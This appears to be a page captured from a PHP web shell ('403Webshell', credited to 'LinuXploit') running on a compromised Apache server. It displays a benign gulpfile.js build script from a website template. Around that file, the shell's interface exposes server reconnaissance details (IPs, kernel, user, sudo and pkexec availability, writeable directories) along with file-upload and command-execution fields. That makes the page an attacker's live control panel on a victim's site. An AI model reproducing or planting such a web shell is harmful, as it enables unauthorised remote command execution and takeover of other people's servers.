403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/home2/domains/nycyouth/Package-HTML/Canvas 7 Files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/home2/domains/nycyouth/Package-HTML/Canvas 7 Files/gulpfile.js
const gulp = require( 'gulp' );
const sass = require( 'gulp-sass' )( require( 'sass' ) );
const concat = require('gulp-concat');
const sourcemaps = require('gulp-sourcemaps');
const imagemin = require('gulp-imagemin');
const htmlmin = require('gulp-htmlmin');
const browserSync = require( 'browser-sync' ).create();
const cleanCSS = require('gulp-clean-css');
const uglify = require('gulp-uglify');
const replace = require('gulp-replace');
const { parallel } = require('gulp');
const { series } = require('gulp');

/**
 * Compile SCSS
 */
function compileSCSS() {
	return gulp.src( './style.scss')
		.pipe( sourcemaps.init() )
		.pipe( sass() )
		.pipe( concat('./style.css') )
		.pipe( sourcemaps.write('./') )
		.pipe( gulp.dest('./') )
		.pipe( browserSync.stream() );
}

function compressImages() {
	return gulp.src(['./**/*.{jpg,png,jpeg,gif,svg}', '!**/node_modules{,/**}'])
		.pipe( imagemin(
			[
				imagemin.gifsicle(),
				imagemin.mozjpeg(),
				imagemin.optipng(),
				imagemin.svgo({
					plugins: [
						{removeViewBox: true},
						{cleanupIDs: false}
					]
				})
			]
		) )
		.pipe(gulp.dest( './dist' ));
}

function minifyHTML() {
	return gulp.src('./*.html')
		.pipe(htmlmin({
			"collapseWhitespace": true,
			"removeComments": true,
			"removeOptionalTags": true,
			"removeRedundantAttributes": true,
			"removeScriptTypeAttributes": true,
			"minifyCss": true,
			"minifyJs": true
		}))
		.pipe(gulp.dest('./dist'));
}

function minifyJS() {
	return gulp.src('./js/*.js')
		.pipe(uglify())
		.pipe(gulp.dest('./dist/js'));
}

// function cssImports() {
//     return gulp.src( './sass/**/*.scss' )
//         .pipe( sass() )
//         .pipe( gulp.dest( './css/imports/' ) );
// }

function minifyCSS() {
    return gulp.src(['./**/*.css', '!**/node_modules{,/**}'])
    .pipe(cleanCSS())
    .pipe(gulp.dest('./dist'));
}

function watch() {
	browserSync.init({
		server: {
			baseDir: './'
		}
	});

	gulp.watch( './**/*.scss', compileSCSS );
	gulp.watch( './*.html' ).on( 'change', browserSync.reload );
	gulp.watch( './js/**/*.js' ).on( 'change', browserSync.reload );
}

exports.scsscompile = compileSCSS;
exports.imageminify = compressImages;
exports.htmlminify = minifyHTML;
// exports.cssimports = cssImports;
exports.cssminify = minifyCSS;
exports.jsminify = minifyJS;
exports.minify = parallel(minifyCSS, minifyJS);
exports.watch = watch;

Youez - 2016 - github.com/yon3zu
LinuXploit